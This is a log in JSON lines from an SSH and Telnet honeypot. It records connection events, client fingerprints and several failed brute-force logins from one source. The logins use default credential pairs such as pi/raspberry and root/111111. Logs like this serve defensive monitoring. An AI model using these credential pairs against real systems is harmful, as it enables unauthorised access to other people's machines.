{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:02.438764Z","src_ip":"159.203.92.129","session":"29a1933b011b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.706202745437622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:02.502122Z","src_ip":"89.36.133.87","session":"ef58ab072335","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793354749679565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:03.058865Z","src_ip":"45.76.87.57","session":"f7f70d1fb14a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.790093183517456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:03.081736Z","src_ip":"82.221.143.47","session":"5e1bd31e9c0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.784820318222046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:03.105743Z","src_ip":"167.88.49.103","session":"1a35952dea70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.473872661590576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:03.112141Z","src_ip":"198.38.88.217","session":"4c62afc4336f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.528462648391724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:03.133792Z","src_ip":"158.94.210.61","session":"074ed8fdd645","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.238.95.212","src_port":44714,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f6246b906be","protocol":"telnet","message":"New connection: 20.238.95.212:44714 (10.17.0.5:23) [session: 2f6246b906be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:03.480708Z"}
{"eventid":"cowrie.session.closed","duration":30.89324712753296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:03.539108Z","src_ip":"181.214.142.195","session":"848b801ce8bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83777689933777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:04.105616Z","src_ip":"84.46.240.193","session":"b5ab8eaf74dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800220727920532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:04.169048Z","src_ip":"144.76.99.238","session":"7f9a6277bc26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648187398910522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:04.185126Z","src_ip":"20.216.11.193","session":"dc64c1c69621","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.28.189.160","src_port":39316,"dst_ip":"10.17.0.5","dst_port":23,"session":"c67b84d5ea07","protocol":"telnet","message":"New connection: 212.28.189.160:39316 (10.17.0.5:23) [session: c67b84d5ea07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:04.207212Z"}
{"eventid":"cowrie.session.closed","duration":30.568734169006348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:04.507710Z","src_ip":"103.76.76.74","session":"24c7a1b61086","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48626,"dst_ip":"159.203.135.109","dst_port":22,"session":"94e38acbece3","protocol":"ssh","message":"New connection: 192.109.200.78:48626 (159.203.135.109:22) [session: 94e38acbece3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:04.515318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:04.523918Z","src_ip":"192.109.200.78","session":"94e38acbece3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:04.612892Z","src_ip":"192.109.200.78","session":"94e38acbece3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00205492973328,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:04.836257Z","src_ip":"212.252.78.49","session":"596c53b3f2ce","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:04.866422Z","src_ip":"192.109.200.78","session":"94e38acbece3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.976828575134277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:05.061714Z","src_ip":"164.90.128.86","session":"43f8704953da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749183654785156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:05.076563Z","src_ip":"52.117.233.246","session":"7fd369e77bb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.820493698120117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:05.092014Z","src_ip":"162.214.106.195","session":"5e7fbcb1e97e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.457772970199585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:05.096334Z","src_ip":"185.228.116.7","session":"d0a8c10ccce7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.426745176315308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:05.164586Z","src_ip":"103.77.144.66","session":"14305a0e4388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574936628341675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:05.300459Z","src_ip":"180.93.52.10","session":"2dc8d581e449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:05.952034Z","src_ip":"192.109.200.78","session":"94e38acbece3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.40974760055542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:06.149420Z","src_ip":"103.28.49.205","session":"ec3cd07c0dfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.483247756958008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:07.127070Z","src_ip":"157.7.244.125","session":"fc59ceffdf54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54371690750122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:07.157984Z","src_ip":"85.9.27.99","session":"e68cbab390b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.635071516036987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:07.271785Z","src_ip":"103.93.94.183","session":"28dcf61b7ffa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":50571,"dst_ip":"159.203.135.109","dst_port":23,"session":"4137ec78f28d","protocol":"telnet","message":"New connection: 212.252.78.49:50571 (159.203.135.109:23) [session: 4137ec78f28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:07.848850Z"}
{"eventid":"cowrie.session.closed","duration":30.515855073928833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:08.148562Z","src_ip":"154.89.7.103","session":"91dfddc27416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81261706352234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:08.306701Z","src_ip":"186.177.85.156","session":"5f56276fea7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35860,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c8b6fb2034d","protocol":"ssh","message":"New connection: 192.109.200.78:35860 (159.203.135.109:22) [session: 5c8b6fb2034d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:08.743982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:08.749271Z","src_ip":"192.109.200.78","session":"5c8b6fb2034d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:08.837955Z","src_ip":"192.109.200.78","session":"5c8b6fb2034d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:09.086587Z","src_ip":"192.109.200.78","session":"5c8b6fb2034d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.441925525665283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:09.666243Z","src_ip":"27.254.77.155","session":"5696c55f4a2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:10.173241Z","src_ip":"192.109.200.78","session":"5c8b6fb2034d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88236713409424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:10.220645Z","src_ip":"143.198.111.206","session":"9f25dad0c473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160963535308838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:10.300277Z","src_ip":"20.246.94.149","session":"9006b71ba42d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.816457509994507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:11.183921Z","src_ip":"45.239.218.12","session":"c5bfa2b3d586","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35862,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eefa6e28beb","protocol":"ssh","message":"New connection: 192.109.200.78:35862 (159.203.135.109:22) [session: 0eefa6e28beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:12.822688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:12.832366Z","src_ip":"192.109.200.78","session":"0eefa6e28beb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:12.921621Z","src_ip":"192.109.200.78","session":"0eefa6e28beb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:13.170508Z","src_ip":"192.109.200.78","session":"0eefa6e28beb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:14.370697Z","src_ip":"192.109.200.78","session":"0eefa6e28beb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.09514021873474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:14.797468Z","src_ip":"103.18.58.55","session":"38b774dc7dc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.129.89","src_port":31414,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbe93a9154ee","protocol":"telnet","message":"New connection: 162.214.129.89:31414 (10.17.0.5:23) [session: bbe93a9154ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:16.208779Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35876,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d6537e92e4e","protocol":"ssh","message":"New connection: 192.109.200.78:35876 (159.203.135.109:22) [session: 3d6537e92e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:17.002341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:17.008446Z","src_ip":"192.109.200.78","session":"3d6537e92e4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:17.095802Z","src_ip":"192.109.200.78","session":"3d6537e92e4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:17.359933Z","src_ip":"192.109.200.78","session":"3d6537e92e4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.55739140510559,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:18.219100Z","src_ip":"139.84.136.96","session":"df34b976db1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:18.446504Z","src_ip":"192.109.200.78","session":"3d6537e92e4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.283820629119873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:21.190452Z","src_ip":"201.148.107.194","session":"10118f37fcc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50472,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7384a98591e","protocol":"ssh","message":"New connection: 192.109.200.78:50472 (159.203.135.109:22) [session: b7384a98591e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:21.341568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:21.346262Z","src_ip":"192.109.200.78","session":"b7384a98591e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:21.428993Z","src_ip":"192.109.200.78","session":"b7384a98591e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:21.680404Z","src_ip":"192.109.200.78","session":"b7384a98591e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.467758893966675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:22.122202Z","src_ip":"103.236.162.233","session":"f78aa90bb5f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:22.764880Z","src_ip":"192.109.200.78","session":"b7384a98591e","protocol":"ssh"}
